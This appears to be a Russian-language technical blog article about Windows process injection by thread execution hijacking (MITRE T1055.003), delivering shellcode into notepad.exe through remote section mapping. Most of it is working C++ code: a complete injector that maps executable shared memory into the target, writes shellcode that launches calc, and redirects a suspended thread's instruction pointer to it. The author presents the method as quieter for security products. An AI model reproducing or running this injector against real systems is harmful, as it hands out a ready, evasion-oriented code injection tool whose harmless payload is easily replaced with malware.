Как стать автором
Обновить

Thread execution hijacking. Исполнение шелл-кода в удаленном процессе

Уровень сложностиПростой
Время на прочтение7 мин
Количество просмотров1.9K

В статье разберем технику T1055.003

Подменим контекст потока удаленного процесса и рассмотрим способ доставки шелл-кода в процесс с помощью удаленного маппинга.

В ОС Windows существует возможность получения контекста потока и последующего управления значениями регистров. Это дает возможность изменения потока выполнения, например, с помощью модификации регистра rip. Этим и будем пользоваться.

Для того, чтобы получить контекст, используется связка функций OpenThread, SuspendThread и GetThreadContext.

GetThreadContext получает 2 аргумента HANDLE и LPCONTEXT

Структура CONTEXT имеет следующий вид:

CONTEXT
typedef struct DECLSPEC_ALIGN(16) DECLSPEC_NOINITALL _CONTEXT {
    DWORD64 P1Home;
    DWORD64 P2Home;
    DWORD64 P3Home;
    DWORD64 P4Home;
    DWORD64 P5Home;
    DWORD64 P6Home;
    DWORD ContextFlags;
    DWORD MxCsr;
    WORD   SegCs;
    WORD   SegDs;
    WORD   SegEs;
    WORD   SegFs;
    WORD   SegGs;
    WORD   SegSs;
    DWORD EFlags;
    DWORD64 Dr0;
    DWORD64 Dr1;
    DWORD64 Dr2;
    DWORD64 Dr3;
    DWORD64 Dr6;
    DWORD64 Dr7;
    DWORD64 Rax;
    DWORD64 Rcx;
    DWORD64 Rdx;
    DWORD64 Rbx;
    DWORD64 Rsp;
    DWORD64 Rbp;
    DWORD64 Rsi;
    DWORD64 Rdi;
    DWORD64 R8;
    DWORD64 R9;
    DWORD64 R10;
    DWORD64 R11;
    DWORD64 R12;
    DWORD64 R13;
    DWORD64 R14;
    DWORD64 R15;
    DWORD64 Rip;
    union {
        XMM_SAVE_AREA32 FltSave;
        struct {
            M128A Header[2];
            M128A Legacy[8];
            M128A Xmm0;
            M128A Xmm1;
            M128A Xmm2;
            M128A Xmm3;
            M128A Xmm4;
            M128A Xmm5;
            M128A Xmm6;
            M128A Xmm7;
            M128A Xmm8;
            M128A Xmm9;
            M128A Xmm10;
            M128A Xmm11;
            M128A Xmm12;
            M128A Xmm13;
            M128A Xmm14;
            M128A Xmm15;
        } DUMMYSTRUCTNAME;
    } DUMMYUNIONNAME;
    M128A VectorRegister[26];
    DWORD64 VectorControl;
    DWORD64 DebugControl;
    DWORD64 LastBranchToRip;
    DWORD64 LastBranchFromRip;
    DWORD64 LastExceptionToRip;
    DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;

Чтобы получить контекст, перед вызовом GetThreadContext необходимо установить флаги ContextFlags

Существует небольшое количество флагов, которые определены в winnt.h:

флаги
Существует небольшое количество флагов, которые определены в winnt.h:


#define CONTEXT_AMD64   0x00100000L

#define CONTEXT_CONTROL         (CONTEXT_AMD64 | 0x00000001L)
#define CONTEXT_INTEGER         (CONTEXT_AMD64 | 0x00000002L)
#define CONTEXT_SEGMENTS        (CONTEXT_AMD64 | 0x00000004L)
#define CONTEXT_FLOATING_POINT  (CONTEXT_AMD64 | 0x00000008L)
#define CONTEXT_DEBUG_REGISTERS (CONTEXT_AMD64 | 0x00000010L)

#define CONTEXT_FULL            (CONTEXT_CONTROL | CONTEXT_INTEGER | \
                                 CONTEXT_FLOATING_POINT)

#define CONTEXT_ALL             (CONTEXT_CONTROL | CONTEXT_INTEGER | \
                                 CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT | \
                                 CONTEXT_DEBUG_REGISTERS)

#define CONTEXT_XSTATE          (CONTEXT_AMD64 | 0x00000040L)
#define CONTEXT_KERNEL_CET      (CONTEXT_AMD64 | 0x00000080L)

#if defined(XBOX_SYSTEMOS)

#define CONTEXT_KERNEL_DEBUGGER     0x04000000L

#endif

#define CONTEXT_EXCEPTION_ACTIVE    0x08000000L
#define CONTEXT_SERVICE_ACTIVE      0x10000000L
#define CONTEXT_EXCEPTION_REQUEST   0x40000000L
#define CONTEXT_EXCEPTION_REPORTING 0x80000000L

//
// CONTEXT_UNWOUND_TO_CALL flag is set by the unwinder if it
// has unwound to a call site, and cleared whenever it unwinds
// through a trap frame.
//

#define CONTEXT_UNWOUND_TO_CALL     0x20000000

И описаны там же

Описание
// The flags field within this record controls the contents of a CONTEXT
// record.
//
// If the context record is used as an input parameter, then for each
// portion of the context record controlled by a flag whose value is
// set, it is assumed that that portion of the context record contains
// valid context. If the context record is being used to modify a threads
// context, then only that portion of the threads context is modified.
//
// If the context record is used as an output parameter to capture the
// context of a thread, then only those portions of the thread's context
// corresponding to set flags will be returned.
//
// CONTEXT_CONTROL specifies SegSs, Rsp, SegCs, Rip, and EFlags.
//
// CONTEXT_INTEGER specifies Rax, Rcx, Rdx, Rbx, Rbp, Rsi, Rdi, and R8-R15.
//
// CONTEXT_SEGMENTS specifies SegDs, SegEs, SegFs, and SegGs.
//
// CONTEXT_FLOATING_POINT specifies Xmm0-Xmm15.
//
// CONTEXT_DEBUG_REGISTERS specifies Dr0-Dr3 and Dr6-Dr7.
//

Для наших целей хватит CONTEXT_CONTROL

В общем виде установка контекста выглядит так:

HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadID);
SuspendThread(hThread);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
/*
Some context manipulation
*/
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

Запомнили, теперь перейдем к доставке шелл-кода в процесс.

Обычно для этих целей используется связка вида

OpenProcess -> VirtualAlloc -> [VirtualProtect] -> WriteProcessMemory -> CreateRemoteThread

Это скучно и невероятно шумно для средств защиты. Поэтому я решил попробовать что-то новое и реализовал внедрение в процесс с помощью удаленного маппинга.

В итоге получилась следующая цепочка:

CreateFileMapping -> OpenProcess -> ZwMapViewOfSection

Пример кода:

HANDLE hMapFile = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, bufferSize, NULL);

HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, pid);

PVOID remoteBaseAddress = NULL;
size_t viewSize = 0;

NTSTATUS status = ZwMapViewOfSection(hMapFile,hProc,&remoteBaseAddress,0,0,NULL,&viewSize,2,0,PAGE_EXECUTE_READ);

Здесь появляется не самый очевидный механизм.

Так как локальный маппинг создан с флагом PAGE_EXECUTE_READWRITE, мы можем в текущем процессе вызвать MapViewOfFile с флагом FILE_MAP_WRITE, что позволит нам писать в память из текущего процесса, а в удаленном процессе размапить ту же память с правами только на чтение и исполнение.

Это дает возможность в любой момент менять размапленную память удаленного процесса. Например, сначала создать секцию с безобидным содержимым, а после загрузить в нее шеллкод. К тому же, в сравнение с классическим выделением памяти с флагом PAGE_EXECUTE_READWRITE в удаленном процессе, этот способ менее шумный с точки зрения средств защиты, так как создание rwx памяти – целое событие.

Итак, соберем все воедино. Механизм будет следующим:

  1. Создание памяти с PAGE_EXECUTE_READWRITE

  2. Получение указателя на память с правами на запись

  3. Поиск целевого процесса для внедрения

  4. Удаленный маппинг памяти

  5. Запись шелл-кода в память

  6. Поиск потока целевого процесса

  7. Приостановка потока

  8. Изменение контекста потока

  9. Воспроизведение потока

Для поиска целевого процесса и потока будем использовать функцию CreateToolhelp32Snapshot:

HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
WCHAR target[] = L"notepad.exe";

Thread32First(threadSnapshot, &threadEntry);
Process32FirstW(procSnapshot, &processEntry);
DWORD lerr = GetLastError();
while (Process32NextW(procSnapshot, &processEntry))
{
	if (_wcsicmp(processEntry.szExeFile, target) == 0)
	{
		while (Thread32Next(threadSnapshot, &threadEntry))
		{
			if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
			{
            	/*
              Usefull code
              */
				break;
			}
		}
		break;
	}
}

Объединяем, добавляем запись шелл-кода и получаем результат:

Код
#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
typedef NTSTATUS(NTAPI* p_ZwMapViewOfSection)(
	HANDLE SectionHandle,
	HANDLE ProcessHandle,
	PVOID* BaseAddress,
	ULONG_PTR ZeroBits,
	SIZE_T CommitSize,
	PLARGE_INTEGER SectionOffset,
	PSIZE_T ViewSize,
	DWORD InheritDisposition,
	ULONG AllocationType,
	ULONG Win32Protect
	);

int main() {
	unsigned char code[] =
	{ 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B,
0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,
0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48,
0x01, 0xF7, 0x99, 0xFF, 0xD7 };
	size_t bufferSize = sizeof(code);
	HANDLE hMapFile = CreateFileMappingA(
		INVALID_HANDLE_VALUE,
		NULL,
		PAGE_EXECUTE_READWRITE,
		0,
		bufferSize,
		NULL
	);

	if (hMapFile == NULL) {
		return 1;
	}
	LPVOID pBuffer = MapViewOfFile(
		hMapFile,
		FILE_MAP_WRITE,
		0,
		0,
		bufferSize
	);

	if (pBuffer == NULL) {
		CloseHandle(hMapFile);
		return 1;
	}

	DWORD old;
	THREADENTRY32 threadEntry;
	threadEntry.dwSize = sizeof(THREADENTRY32);
	PROCESSENTRY32W processEntry;
	processEntry.dwSize = sizeof(PROCESSENTRY32W);
	CONTEXT context;
	context.ContextFlags = CONTEXT_CONTROL;
	HANDLE procSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	HANDLE threadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

	WCHAR target[] = L"notepad.exe";
	Thread32First(threadSnapshot, &threadEntry);
	Process32FirstW(procSnapshot, &processEntry);
	DWORD lerr = GetLastError();
	while (Process32NextW(procSnapshot, &processEntry))
	{
		if (_wcsicmp(processEntry.szExeFile, target) == 0)
		{
			while (Thread32Next(threadSnapshot, &threadEntry))
			{
				if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
				{
					HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION, 0, processEntry.th32ProcessID);
					HANDLE hMapFileDup = 0;
					HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
					p_ZwMapViewOfSection ZwMapViewOfSection = (p_ZwMapViewOfSection)GetProcAddress(hNtdll, "ZwMapViewOfSection");
					PVOID remoteBaseAddress = NULL;
					size_t viewSize = 0;
					NTSTATUS status = ZwMapViewOfSection(
						hMapFile,
						hProc,
						&remoteBaseAddress,
						0,
						0,
						NULL,
						&viewSize,
						2,
						0,
						PAGE_EXECUTE_READ
					);
					CloseHandle(hProc);
					CopyMemory(pBuffer, code, sizeof(code));
					HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
					SuspendThread(hThread);
					CONTEXT ctx;
					ctx.ContextFlags = CONTEXT_CONTROL;
					GetThreadContext(hThread, &ctx);
					ctx.Rip = (DWORD64)remoteBaseAddress;
					SetThreadContext(hThread, &ctx);
					ResumeThread(hThread);
					break;
				}
			}
			break;
		}
	}
	lerr = GetLastError();
	CloseHandle(threadSnapshot);
	CloseHandle(procSnapshot);
	UnmapViewOfFile(pBuffer);
	CloseHandle(hMapFile);

	return 0;
}

Запуск калькулятора
Запуск калькулятора

Посмотрим на память в Process Hacker сразу после вызова ZwMapViewOfSection. Здесь видно, что в текущем процессе память RW, а в целевом - RX

Текущий процесс
Текущий процесс
Целевой процесс
Целевой процесс

В результате мы подменили контекст потока целевого процесса, внедрили память через удаленный маппинг и исполнили шелл-код.

Проект доступен на моем Github:

https://github.com/FunnyWhaleDev/RunFromSharedMemory

P.S.

Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке

Теги:
Хабы:
Всего голосов 5: ↑5 и ↓0+7
Комментарии5

Публикации